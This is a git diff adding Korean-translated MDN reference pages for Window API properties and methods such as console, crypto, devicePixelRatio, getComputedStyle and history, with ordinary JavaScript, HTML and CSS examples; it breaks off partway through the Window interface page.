대화 상자는 모달 창(부모 창으로 돌아가기 전에 사용자의 상호 작용을 요구하는 자식 창)으로, 사용자는 대화 상자가 닫힐 때까지 다른 모든 인터페이스에 접근할 수 없습니다. 따라서 대화 상자(또는 모달 창)를 만드는 함수를 남용하면 안 됩니다. 이 뿐만이 아니더라도, 대화 상자로 사용자 확인을 받는 것은 피해야 할 좋은 이유 여럿이 존재합니다.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#dom-confirm', 'confirm()')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.confirm")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/console/index.html b/files/ko/web/api/window/console/index.html new file mode 100644 index 0000000000..baed7caeeb --- /dev/null +++ b/files/ko/web/api/window/console/index.html @@ -0,0 +1,53 @@ +--- +title: Window.console +slug: Web/API/Window/console +tags: + - API + - Property + - Read-only + - Reference + - Window + - console +translation_of: Web/API/Window/console +--- +
{{APIRef}}
+ +

Window.console 속성은 브라우저 콘솔에 로그를 남길 수 있는 메서드를 가진 {{domxref("Console")}} 객체의 참조를 반환합니다. 콘솔 메서드는 디버깅 용도로만 사용해야 하며, 엔드유저에게 정보를 제공할 의도를 가져션 안됩니다.

+ +

예제

+ +

콘솔에 로그 남기기

+ +

다음 코드는 콘솔에 로그 텍스트를 남깁니다.

+ +
console.log("An error occurred while loading the content");
+
+ +

다음 코드는 객체를 콘솔에 출력합니다. 출력 결과를 클릭하면 객체의 필드를 펼쳐볼 수 있습니다.

+ +
console.dir(someObject);
+ +

{{domxref("Console")}} 문서의 예제 항목에서 더 자세한 예제를 살펴보세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Console API')}}{{Spec2('Console API')}}Initial definition.
+ +
+

현재 브라우저간 구현에 많은 차이가 있지만, 하나로 통합하여 서로 보다 일관적으로 만드는 작업이 진행 중입니다.

+
diff --git a/files/ko/web/api/window/crypto/index.html b/files/ko/web/api/window/crypto/index.html new file mode 100644 index 0000000000..1b43534adc --- /dev/null +++ b/files/ko/web/api/window/crypto/index.html @@ -0,0 +1,75 @@ +--- +title: Window.crypto +slug: Web/API/Window/crypto +tags: + - API + - HTML DOM + - Property + - Reference + - Window +translation_of: Web/API/Window/crypto +--- +
{{APIRef}}
+ +

Window.crypto속성은 전역 객체인 {{domxref("Crypto")}} 객체를 반환합니다. Crypto 객체는 웹 페이지가 특정 암호학적 서비스에 접근할 수 있는 경로입니다. crypto 속성 자체는 읽기 전용이지만, 모든 메서드(와 자식 객체 {{domxref("SubtleCrypto")}})의 메서드)는 읽기 전용이 아니므로 {{glossary("polyfill", "폴리필")}}을 통한 공격에 취약합니다.

+ +

구문

+ +
var cryptoObj = window.crypto || window.msCrypto; // for IE 11
+
+ +

예제

+ +

다음 예제는 {{domxref("Window.crypto")}} 속성을 통해 {{domxref("Crypto.getRandomValues", "getRandomValues()")}} 메서드에 접근합니다.

+ +

JavaScript

+ +
genRandomNumbers = function getRandomNumbers() {
+  var array = new Uint32Array(10);
+  window.crypto.getRandomValues(array);
+
+  var randText = document.getElementById("myRandText");
+  randText.innerHTML = "The random numbers are: "
+  for (var i = 0; i < array.length; i++) {
+    randText.innerHTML += array[i] + " ";
+  }
+}
+ +

HTML

+ +
<p id="myRandText">The random numbers are: </p>
+<button type="button" onClick='genRandomNumbers()'>Generate 10 random numbers</button>
+ +

결과

+ +

{{EmbedLiveSample('예제')}}

+ +

명세

+ + + + + + + + + + + + + + +
명세상태비고
{{SpecName("Web Crypto API", "#dfn-GlobalCrypto", "Window.crypto")}}{{Spec2("Web Crypto API")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.crypto")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/customelements/index.html b/files/ko/web/api/window/customelements/index.html new file mode 100644 index 0000000000..591cd5bf65 --- /dev/null +++ b/files/ko/web/api/window/customelements/index.html @@ -0,0 +1,63 @@ +--- +title: Window.customElements +slug: Web/API/Window/customElements +tags: + - API + - Property + - Reference + - Web Components + - Window +translation_of: Web/API/Window/customElements +--- +
{{APIRef}}
+ +

{{domxref("Window")}} 인터페이스의 customElements 읽기 전용 속성은 새로운 사용자 지정 요소를 등록하거나, 이전에 등록한 요소의 정보를 받아올 수 있는 {{domxref("CustomElementRegistry")}} 객체의 참조를 반환합니다.

+ +

예제

+ +

customElements를 사용하는 가장 흔한 예시는 새로운 요소를 정의하고 등록하기 위해 {{domxref("CustomElementRegistry.define()")}} 메서드에 적용하는 경우입니다.

+ +
let customElementRegistry = window.customElements;
+customElementRegistry.define('my-custom-element', MyCustomElement);
+ +

그러나, 보통은 다음 코드처럼 줄여서 사용하곤 합니다.

+ +
customElements.define('element-details',
+  class extends HTMLElement {
+    constructor() {
+      super();
+      const template = document
+        .getElementById('element-details-template')
+        .content;
+      const shadowRoot = this.attachShadow({mode: 'open'})
+        .appendChild(template.cloneNode(true));
+    }
+  }
+);
+ +

web-components-examples 저장소에서 더 많은 사용 예제를 찾아보세요.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "custom-elements.html#dom-window-customelements", "window.customElements")}}{{Spec2("HTML WHATWG")}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Window.customElements")}}

+
diff --git a/files/ko/web/api/window/devicepixelratio/index.html b/files/ko/web/api/window/devicepixelratio/index.html new file mode 100644 index 0000000000..361862dd9e --- /dev/null +++ b/files/ko/web/api/window/devicepixelratio/index.html @@ -0,0 +1,180 @@ +--- +title: Window.devicePixelRatio +slug: Web/API/Window/devicePixelRatio +tags: + - API + - Property + - Read-only + - Reference + - Window +translation_of: Web/API/Window/devicePixelRatio +--- +
{{APIRef}}
+ +

{{domxref("Window")}} 인터페이스의 devicePixelRatio 읽기 전용 속성은 현재 표시 장치의 물리적 픽셀과 CSS 픽셀의 비율을 반환합니다. CSS 픽셀의 크기를 물리적 픽셀의 크기로 나눈 값으로 해석해도 됩니다. 또 다른 해석은, 하나의 CSS 픽셀을 그릴 때 사용해야 하는 장치 픽셀의 수라고 할 수 있습니다.

+ +

devicePixelRatio 속성은 HiDPI/Retina 디스플레이처럼 같은 객체를 그릴 때 더 많은 픽셀을 사용해 보다 선명한 이미지를 표현하는 화면과, 표준 디스플레이의 렌더링 차이에 대응할 때 유용합니다.

+ +

{{domxref("window.matchMedia()")}}를 사용하면, 사용자가 창을 드래그 해 디스플레이의 픽셀 밀도가 바뀌는 등의 상황에서 devicePixelRatio가 바뀌는지 알아낼 수 있습니다. 아래의 예제를 참고하세요.

+ +

구문

+ +
value = window.devicePixelRatio
+
+ +

예제

+ +

Correcting resolution in a <canvas>

+ +

A {{htmlelement("canvas")}} can appear too blurry on retina screens. Use window.devicePixelRatio to determine how much extra pixel density should be added to allow for a sharper image.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+// Set display size (css pixels).
+var size = 200;
+canvas.style.width = size + "px";
+canvas.style.height = size + "px";
+
+// Set actual size in memory (scaled to account for extra pixel density).
+var scale = window.devicePixelRatio; // Change to 1 on retina screens to see blurry canvas.
+canvas.width = size * scale;
+canvas.height = size * scale;
+
+// Normalize coordinate system to use css pixels.
+ctx.scale(scale, scale);
+
+ctx.fillStyle = "#bada55";
+ctx.fillRect(10, 10, 300, 300);
+ctx.fillStyle = "#ffffff";
+ctx.font = '18px Arial';
+ctx.textAlign = 'center';
+ctx.textBaseline = 'middle';
+
+var x = size / 2;
+var y = size / 2;
+
+var textString = "I love MDN";
+ctx.fillText(textString, x, y);
+ +

This image describe the impact of different value on retina display.

+ +

Monitoring screen resolution or zoom level changes

+ +

In this example, we'll set up a media query and watch it to see when the device resolution changes, so that we can check the value of devicePixelRatio to handle any updates we need to.

+ +

JavaScript

+ +

The JavaScript code creates the media query that monitors the device resolution and checks the value of devicePixelRatio any time it changes.

+ +
let pixelRatioBox = document.querySelector(".pixel-ratio");
+let mqString = `(resolution: ${window.devicePixelRatio}dppx)`;
+
+const updatePixelRatio = () => {
+  let pr = window.devicePixelRatio;
+  let prString = (pr * 100).toFixed(0);
+  pixelRatioBox.innerText = `${prString}% (${pr.toFixed(2)})`;
+}
+
+updatePixelRatio();
+
+matchMedia(mqString).addListener(updatePixelRatio);
+ +

The string mqString is set up to be the media query itself. The media query, which begins as (resolution: 1dppx) (for standard displays) or (resolution: 2dppx) (for Retina/HiDPI displays), checks to see if the current display resolution matches a specific number of device dots per px.

+ +

The updatePixelRatio() function fetches the current value of devicePixelRatio, then sets the {{domxref("HTMLElement.innerText", "innerText")}} of the element pixelRatioBox to a string which displays the ratio both as a percentage and as a raw decimal value with up to two decimal places.

+ +

Then the updatePixelRatio() function is called once to display the starting value, after which the media query is created using {{domxref("Window.matchMedia", "matchMedia()")}} and {{domxref("EventTarget.addEventListener", "addEventListener()")}} is called to set up updatePixelRatio() as a handler for the change event.

+ +

HTML

+ +

The HTML creates the boxes containing the instructions and the pixel-ratio box that will display the current pixel ratio information.

+ +
<div class="container">
+  <div class="inner-container">
+    <p>This example demonstrates the effect of zooming the page in
+       and out (or moving it to a screen with a different scaling
+       factor) on the value of the property <code>Window.devicePixelRatio</code>.
+       Try it and watch what happens!</p>
+  </div>
+    <div class="pixel-ratio"></div>
+</div>
+ +
+

CSS

+
+ +
body {
+  font: 22px arial, sans-serif;
+}
+
+.container {
+  top: 2em;
+  width: 22em;
+  height: 14em;
+  border: 2px solid #22d;
+  margin: 0 auto;
+  padding: 0;
+  background-color: #a9f;
+}
+
+.inner-container {
+  padding: 1em 2em;
+  text-align: justify;
+  text-justify: auto;
+}
+
+.pixel-ratio {
+  position: relative;
+  margin: auto;
+  height: 1.2em;
+  text-align: right;
+  bottom: 0;
+  right: 1em;
+  font-weight: bold;
+}
+
+ +

Result

+ +

{{EmbedLiveSample("Monitoring_screen_resolution_or_zoom_level_changes", "100%", 500)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSSOM View", "#dom-window-devicepixelratio", "Window.devicePixelRatio")}}{{Spec2("CSSOM View")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.devicePixelRatio")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/document/index.html b/files/ko/web/api/window/document/index.html new file mode 100644 index 0000000000..1703ac8474 --- /dev/null +++ b/files/ko/web/api/window/document/index.html @@ -0,0 +1,47 @@ +--- +title: Window.document +slug: Web/API/Window/document +tags: + - API + - HTML DOM + - Property + - Reference + - Window +translation_of: Web/API/Window/document +--- +
{{APIRef}}
+ +

window.document 속성은 창이 포함한 문서의 참조를 반환합니다.

+ +

예제

+ +
console.log(window.document.title);
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-2', 'Window.document')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', 'browsers.html#dom-document-0', 'Window.document')}}{{Spec2('HTML5 W3C')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.document")}}

diff --git a/files/ko/web/api/window/event/index.html b/files/ko/web/api/window/event/index.html new file mode 100644 index 0000000000..d358167e58 --- /dev/null +++ b/files/ko/web/api/window/event/index.html @@ -0,0 +1,52 @@ +--- +title: Window.event +slug: Web/API/Window/event +tags: + - API + - DOM + - Event + - Property + - Read-only + - Reference + - Window + - 이벤트 +translation_of: Web/API/Window/event +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Window")}} 객체의 event 속성은 웹 사이트의 코드가 현재 처리 중인 {{domxref("Event")}}를 반환합니다. 이벤트 처리기 바깥에서는 항상 {{jsxref("undefined")}}입니다.

+ +

신규 코드에서는 사용을 피하세요. 대신, 처리기가 매개변수로 받는 {{domxref("Event")}}를 사용해야 합니다. event 속성은 많이 지원되지도 않고, 지원하는 환경에서도 나중에 문제가 발생할 여지를 키웁니다.

+ +
+

참고: event 속성이 반환하는 Event가 예상하는 값과 다른 경우가 많습니다. 게다가 {{Glossary("shadow tree", "섀도우 트리")}} 안에서 발생한 이벤트의 경우 정확하지 않습니다.

+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', "#ref-for-dom-window-event", "Window.event")}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.event")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/frameelement/index.html b/files/ko/web/api/window/frameelement/index.html new file mode 100644 index 0000000000..5652dac1f0 --- /dev/null +++ b/files/ko/web/api/window/frameelement/index.html @@ -0,0 +1,61 @@ +--- +title: Window.frameElement +slug: Web/API/Window/frameElement +tags: + - API + - DOM + - Property + - Reference + - Window +translation_of: Web/API/Window/frameElement +--- +
{{ApiRef}}
+ +

Window.frameElement 속성은 {{HTMLElement("iframe")}}이나 {{HTMLElement("object")}}처럼 현재 창을 포함한 요소를 반환합니다. 창이 다른 문서에 포함된 것이 아니거나, 문서의 출처가 다른 경우, 즉 창과 해당 문서의 도메인이 서로 다른 경우 {{jsxref("null")}}을 반환합니다.

+ +
+

참고: 속성 이름("frame")과는 달리, {{HTMLElement("object")}}, {{HTMLElement("iframe")}}, {{HTMLElement("embed")}}를 포함한 모든 포함 지점에서 사용할 수 있습니다.

+
+ +

예제

+ +
var frameEl = window.frameElement;
+// If we're embedded, change the containing element's URL to 'http://mozilla.org/'
+if (frameEl) {
+  frameEl.src = 'http://mozilla.org/';
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'browsers.html#dom-frameelement', 'Window.frameElement')}}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Window.frameElement")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/getcomputedstyle/index.html b/files/ko/web/api/window/getcomputedstyle/index.html new file mode 100644 index 0000000000..928f2f4b47 --- /dev/null +++ b/files/ko/web/api/window/getcomputedstyle/index.html @@ -0,0 +1,137 @@ +--- +title: Window.getComputedStyle() +slug: Web/API/Window/getComputedStyle +tags: + - API + - CSSOM View + - Method + - Reference + - Window +translation_of: Web/API/Window/getComputedStyle +--- +
{{APIRef}}
+ +

Window.getComputedStyle() 메소드는 인자로 전달받은 요소의 모든 CSS 속성값을 담은 객체를 회신합니다. 이 속성값들은, 해당 요소에 대하여 활성 스타일시트와 속성값에 대한 기본 연산이 모두 반영된 결과값입니다.  개별 CSS속성 값은 객체를 통해 제공되는 API 또는 CSS 속성 이름을 사용해서 간단히 색인화해서 액세스할 수 있습니다.

+ +

구문

+ +
var style = window.getComputedStyle(element[, pseudoElt]);
+
+ +
+
element
+
속성값을 얻으려하는 {{domxref("Element")}}.
+
pseudoElt {{optional_inline}}
+
일치시킬 의사요소(pseudo element)를 지정하는 문자열. 보통의 요소들에 대해서는 생략되거나 null이어야 함.
+
+ +
Note: Gecko 2.0 {{geckoRelease("2.0")}} 이전에는 pseudoElt 매개 변수가 필요했습니다. 다른 주요 브라우저에서는 pseudoElt 매개변수의 값이 null 인 경우에는 생략해도 됩니다. Gecko는 다른 브라우저의 동작과 일치하도록 변경되었습니다.
+ +

반환되는 style은 요소의 스타일이 변경 될 때 자동으로 업데이트되는 실시간 {{domxref ( "CSSStyleDeclaration")}} 객체입니다.

+ +

예제

+ +

이 예제에서는 간단한 {{htmlelement("div")}} 요소에 CSS스타일을 적용하고, getComputedStyle()를 사용해서 적용된 스타일값을 찾아낸 후에 <div>의 본문으로 출력합니다.

+ +
<p>Hello</p>
+ +
p {
+  width: 400px;
+  margin: 0 auto;
+  padding: 20px;
+  line-height: 2;
+  font-size: 2rem;
+  font-family: sans-serif;
+  background: purple;
+  color: white;
+  text-align: center;
+}
+ +
let para = document.querySelector('p');
+let compStyles = window.getComputedStyle(para);
+para.textContent = 'My computed font-size is ' + compStyles.getPropertyValue('font-size') + ',\nand my computed line-height is ' + compStyles.getPropertyValue('line-height') + '.';
+ +

결과

+ +

{{EmbedLiveSample('예제', '100%', '240px')}}

+ +

설명

+ +

메소드의 호출에서 반환되는 객체의 자료형은 요소의 {{domxref("HTMLElement.style", "style")}} 속성에서 반환되는 객체와 동일한 {{domxref("CSSStyleDeclaration")}}형입니다. 그러나 두 객체는 다른 목적을 가지고 있습니다. getComputedStyle에서 반환된 객체는 읽기 전용이며 요소의 (<style> 또는 외부 stylesheet로 설정되는 것도 포함해서) 스타일을 검사하는 데 사용할 수 있습니다. elt.style 객체는 특정한 요소에 스타일을 설정하는 데 사용해야 합니다.

+ +

첫 번째 인수는 요소여야합니다. #text 노드같은 비-요소 노드를 전달하면 오류가 발생합니다. Gecko 1.9.2 {{geckoRelease("1.9.2")}}부터는, 반환되는 URL 값에는 url("http://foo.com/bar.jpg")과 같이 URL 문자열 주위에 따옴표가 있습니다.

+ +

defaultView

+ +

온라인의 많은 코드 샘플중에서, getComputedStyledocument.defaultView객체에서 사용됩니다만, 대개의 경우에는 getComputedStylewindow객체에도 존재하므로 document.defaultView객체에서 사용하는 패턴은 필요하지 않습니다. defaultView패턴은 (1) window 스펙을 작성하고 싶지 않은 사람들과 (2) Java에서도 사용할 수있는 API를 만드는 것의 조합이었을 가능성이 큽니다. 그러나 defaultView의 메소드를 사용해야만하는 경우가 하나 있습니다. Firefox 3.6을 사용하여 프레임 스타일(framed styles)에 액세스하는 경우입니다.

+ +

의사요소 사용하기

+ +

getComputedStyle은 의사요소(pseudo-elements, ::after, ::before, ::marker, ::line-markerspec참고)에서 스타일 정보를 가져올 수 있습니다.

+ +
<style>
+ h3::after {
+   content: ' rocks!';
+ }
+</style>
+
+<h3>generated content</h3>
+
+<script>
+  var h3       = document.querySelector('h3');
+  var result   = getComputedStyle(h3, ':after').content;
+
+  console.log('the generated content is: ', result); // returns ' rocks!'
+</script>
+
+ +

참고

+ +

반환되는 {{domxref("CSSStyleDeclaration")}} 객체에는 지원되는 모든 CSS의 본디속성(longhand)명에 대한 활성값을 갖게 됩니다. 예로, 본디속성명 border-bottom-width의 경우를 보면, border-widthborder같은 단축속성명이 사용됩니다. font-size과 같은 본디속성명만을 사용하여 속성값을 질의하는 것이 안전합니다. font같은 단축속성명을 사용하여 질의하는 것은 대부분의 브라우저에서 동작하지 않을 것입니다.

+ +

CSS속성 값은 getPropertyValue(propName) API를 사용하거나,  cs[' z-index'] 또는 cs.zIndex 같은 방식으로 객체에 직접 인덱싱하여 액세스할 수 있습니다.

+ +

getComputedStyle에서 반환되는 값들은 {{cssxref("resolved_value", "resolved values")}}라고 합니다. 이 값들은 일반적으로 CSS 2.1 {{cssxref("computed_value","computed values")}}과 같지만, 일부 오래된 속성(width, height 또는 padding)에 대해서는 {{cssxref("used_value","used values")}}입니다. 원래, CSS 2.0에서는 이 computed values를 cascading과 inheritance 후에 "사용준비완료"된 최종값을 의미했습니다. 하지만, CSS 2.1에서는 computed values를 pre-layout으로, used values들은 post-layout으로 재정의했습니다. CSS 2.0 속성들에 대해서는 getComputedStyle은 지금은 used values라고 불리는 옛 의미의 computed values를 반환합니다. pre-layout과 post-layout값의 차이를 나타내는 예로서 요소의 width 또는 height(layout이라고도 함)를 나타내는 백분율(퍼센트표시)이 이 있는데, 이 값들은 used value의 경우에만 픽셀(에 상당하는 대체물)로 대체됩니다.

+ +

몇 몇 알려진 경우에 대해, 반환값은 의도적으로 부정확한 값을 가집니다. 특히, 소위 CSS History Leak 보안 문제를 피하기 위해 브라우저는 링크에 대해서는 명시적으로 used value에 대해 "거짓말"을 하는데, 사용자가 링크된 사이트를 한번도 방문한 적이 없는 것 처럼 값을 반환합니다. 이것이 어떻게 구현되는 지에 대한 자세한 내용은 http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/를 보십시오. 대부분의 최신 브라우저는 의사 선택기 스타일 응용과 getComputedStyle의 반환값에 대해서 유사한 변경 사항을 적용했습니다.

+ +

CSS전이 중에 getComputedStyle를 호출하면, Firefox에서는 원래속성값(Original property value)을 반환하지만, WebKit에서는 최종속성값(final property value)을 반환합니다.

+ +

Firefox에서는 auto값을 가진 속성들이 auto값이 아니라 used value를 반환합니다. 그래서, height:100px;의 컨테이너 블록 안에 height:30px;의 속성을 가진 요소를 넣고 top:auto;bottom:0;를 적용하면, top에 대한 computed style값을 요구할때 Firefox는 100px-30px=70px의 결과로서 top:70px를 반환합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSSOM", "#dom-window-getcomputedstyle", "getComputedStyle()")}}{{Spec2("CSSOM")}} 
{{SpecName("DOM2 Style", "#CSS-CSSview-getComputedStyle", "getComputedStyle()")}}{{Spec2("DOM2 Style")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.getComputedStyle")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/getselection/index.html b/files/ko/web/api/window/getselection/index.html new file mode 100644 index 0000000000..c51281b307 --- /dev/null +++ b/files/ko/web/api/window/getselection/index.html @@ -0,0 +1,129 @@ +--- +title: Window.getSelection() +slug: Web/API/Window/getSelection +translation_of: Web/API/Window/getSelection +--- +
{{ ApiRef() }}
+ +

요약

+ +

사용자 또는 Caret의 위치에 따라 선택된 텍스트의 범위를 나타내는 {{domxref("Selection")}} 객체를 반환한다. 

+ +

문법

+ +
selection = window.getSelection();
+ + + +

예제

+ +
function foo() {
+    var selObj = window.getSelection();
+    alert(selObj);
+    var selRange = selObj.getRangeAt(0);
+    // do stuff with the range
+}
+ +

노트

+ +

Selection 객체의 문자열 표현

+ +

JavaScript에서 문자열을 인자로 받는 함수({{ Domxref("window.alert()") }} 나 {{ Domxref("document.write()") }} 같은)에 객체를 전달하면 해당 객체의 {{jsxref("Object.toString", "toString()")}} 메소드를 호출하고 그 결과를 호출한 함수로 전달합니다. 이를 통해서 실제로는 속성과 메소드를 갖는 문자열이 아닌 일반적인 객체라 하더라도 문자열을 인자로 받는 함수의 인자로 사용할 때에는 객체를 문자열인 것처럼 전달할 수 있습니다.

+ +

위 예제에서 selObj를 {{domxref("window.alert()")}}의 인자로 전달하면 selObj.toString()가 자동적으로 호출됩니다. 하지만, selObj에 대해서 length 나 substr 같은 JavaScript String의 속성이나 메소드를 사용하면 객체에 그러한 속성이나 메소드가 없기 때문에 에러나 예상치 못한 결과가 발생합니다. Selection 객체를 문자열로 사용하려면 다음처럼 직접 toString() 메소드를 호출해야 합니다:

+ +
var selectedText = selObj.toString();
+ + + + + +

It's also useful to note that you can call {{domxref("Document.getSelection()")}}, which works identically.

+ +

HTML inputs provide simpler helper APIs for working with selection (see {{domxref("HTMLInputElement.setSelectionRange()")}}).

+ +

Notice the difference between selection and focus. {{domxref("Document.activeElement")}} returns the focused element.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML Editing", "#dom-window-getselection", "Window.getSelection()")}}{{Spec2("HTML Editing")}}Initial definition
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}9{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

See also

+ + diff --git a/files/ko/web/api/window/history/index.html b/files/ko/web/api/window/history/index.html new file mode 100644 index 0000000000..1fffa11d9a --- /dev/null +++ b/files/ko/web/api/window/history/index.html @@ -0,0 +1,59 @@ +--- +title: Window.history +slug: Web/API/Window/history +tags: + - API + - HTML DOM + - History API + - Property + - Reference + - Window +translation_of: Web/API/Window/history +--- +
{{APIRef}}
+ +

Window.history 읽기 전용 속성은 {{domxref("History")}} 객체로의 참조를 반환합니다. History 객체는 브라우저의 세션 기록(현재 페이지를 불러온 탭 혹은 프레임이 방문했던 페이지)을 조작할 때 사용합니다.

+ +

History API 문서를 방문해 자세한 정보와 함께 예제를 살펴보세요. 특히, 저 문서는 {{domxref("History.pushState", "pushState()")}}와 {{domxref("History.replaceState", "replaceState()")}} 메서드를 사용하기 전 알아야 할 보안 기능을 설명합니다.

+ +

예제

+ +
history.back();     // 뒤로 가기 버튼 클릭과 동일
+history.go(-1);     // history.back()과 동일
+
+ +

참고

+ +

프레임에 속하지 않은 최상위 페이지의 세션 기록은 브라우저의 뒤로 가기/앞으로 가기 버튼의 드롭다운 메뉴에서도 볼 수 있습니다.

+ +

보안상의 문제로, {{domxref("History")}} 객체는 세션 기록 내 다른 페이지의 {{glossary("URL")}}을 알 수 없습니다. 그러나 세션 기록을 탐색하는 것은 할 수 있습니다.

+ +

일반 코드에서 세션 기록을 지우거나, 브라우저의 뒤로/앞으로 가기 버튼을 비활성화할 방법은 없습니다. 그나마 가장 근접한 방법은 {{domxref("Location.replace", "location.replace()")}} 메서드로, 세션 기록의 현재 항목을 주어진 URL로 바꿉니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'browsers.html#the-history-interface', 'The History interface')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', 'browsers.html#the-history-interface', 'The History interface')}}{{Spec2('HTML5 W3C')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.history")}}

diff --git a/files/ko/web/api/window/index.html b/files/ko/web/api/window/index.html new file mode 100644 index 0000000000..4ab8a88279 --- /dev/null +++ b/files/ko/web/api/window/index.html @@ -0,0 +1,700 @@ +--- +title: Window +slug: Web/API/Window +tags: + - API + - DOM + - Interface + - JavaScript + - Reference + - Window +translation_of: Web/API/Window +--- +
{{APIRef("DOM")}}
+ +

Window 인터페이스는 {{glossary("DOM")}} 문서를 담은 창을 나타냅니다. document 속성이 창에 불러온 DOM 문서를 가리킵니다. 반대로, 주어진 문서의 창은 {{domxref("document.defaultView")}}를 사용해 접근할 수 있습니다.

+ +

JavaScript 코드에 노출된 전역 변수 window는 현재 스크립트가 작동 중인 창을 나타냅니다.

+ +

Window 인터페이스는 다양한 함수, 이름공간, 객체, 생성자가 머무는 장소입니다. 그 중엔 사용자 인터페이스로서의 창 개념과는 직접 관련되지 않은 것도 존재하며, 대신 전역적으로 접근할 수 있어야 하는 항목에 적합합니다. 많은 수의 항목이 JavaScript 참고서DOM 참고서에 문서화되어 있습니다.

+ +

탭 기능이 있는 브라우저에서는 각각의 탭을 각각의 Window 객체로 나타냅니다. 주어진 탭에서 동작 중인 JavaScript 코드의 전역 window 객체는 항상 자신의 탭을 나타냅니다. 그렇지만 {{domxref("Window.resizeTo", "resizeTo()")}}와 {{domxref("Window.innerHeight", "innerHeight")}}처럼, 일부 속성과 메서드는 탭이 아닌 창 전체에 적용됩니다. 보통 탭과 합리적으로는 연관 지을 수 없는 경우 창에 속합니다.

+ +

{{InheritanceDiagram}}

+ +

생성자

+ +

DOM 인터페이스도 참고하세요.

+ +
+
{{domxref("DOMParser")}}
+
DOMParser는 문자열에 저장한 XML 또는 HTML 소스 코드를 DOM {{domxref("Document")}}로 구문 분석할 수 있습니다. DOMParserDOM Parsing and Serialization 명세의 일부입니다.
+
{{domxref("Image")}}
+
{{domxref("HTMLImageElement")}}를 생성할 때 사용합니다.
+
{{domxref("Option")}}
+
{{domxref("HTMLOptionElement")}}를 생성할 때 사용합니다.
+
{{domxref("Window.StaticRange")}} {{experimental_inline}} {{readonlyinline}}
+
{{domxref('StaticRange')}} 객체를 생성하는 {{domxref('StaticRange.StaticRange','StaticRange()')}} 생성자를 반환합니다.
+
{{domxref("Worker")}}
+
Web Worker 생성에 사용합니다.
+
{{domxref("Window.XMLSerializer")}}
+
DOM 트리를 XML 또는 HTML 소스로 변환합니다.
+
+ +

속성

+ +

{{domxref("EventTarget")}}의 속성을 상속하고, {{domxref("WindowOrWorkerGlobalScope")}}와 {{domxref("WindowEventHandlers")}} 믹스인의 속성을 구현합니다.

+ +
+
{{domxref("Window.closed")}} {{readOnlyInline}}
+
현재 창이 닫혔는지 나타냅니다.
+
{{domxref("Window.console")}} {{readOnlyInline}}
+
브라우저 디버깅 콘솔에 접근할 수 있는 콘솔 객체를 반환합니다.
+
{{domxref("Window.controllers")}} {{ReadOnlyInline}} {{non-standard_inline}}
+
현재 크롬 창의 XUL 컨트롤러 객체를 반환합니다.
+
{{domxref("Window.customElements")}} {{ReadOnlyInline}}
+
새로운 사용자 지정 요소를 등록하거나, 이전에 등록한 요소에 대한 정보를 얻을 수 있는 {{domxref("CustomElementRegistry")}} 객체를 반환합니다.
+
{{domxref("Window.crypto")}} {{readOnlyInline}}
+
브라우저 암호화 객체를 반환합니다.
+
{{domxref("Window.devicePixelRatio")}} {{ReadOnlyInline}}
+
현재 화면에서의 물리적 픽셀과 CSS 픽셀의 비율을 반환합니다.
+
{{domxref("Window.document")}} {{ReadOnlyInline}}
+
창이 포함하는 문서로의 참조를 반환합니다.
+
{{domxref("Window.DOMMatrix")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMMatrix")}} object, which represents 4x4 matrices, suitable for 2D and 3D operations.
+
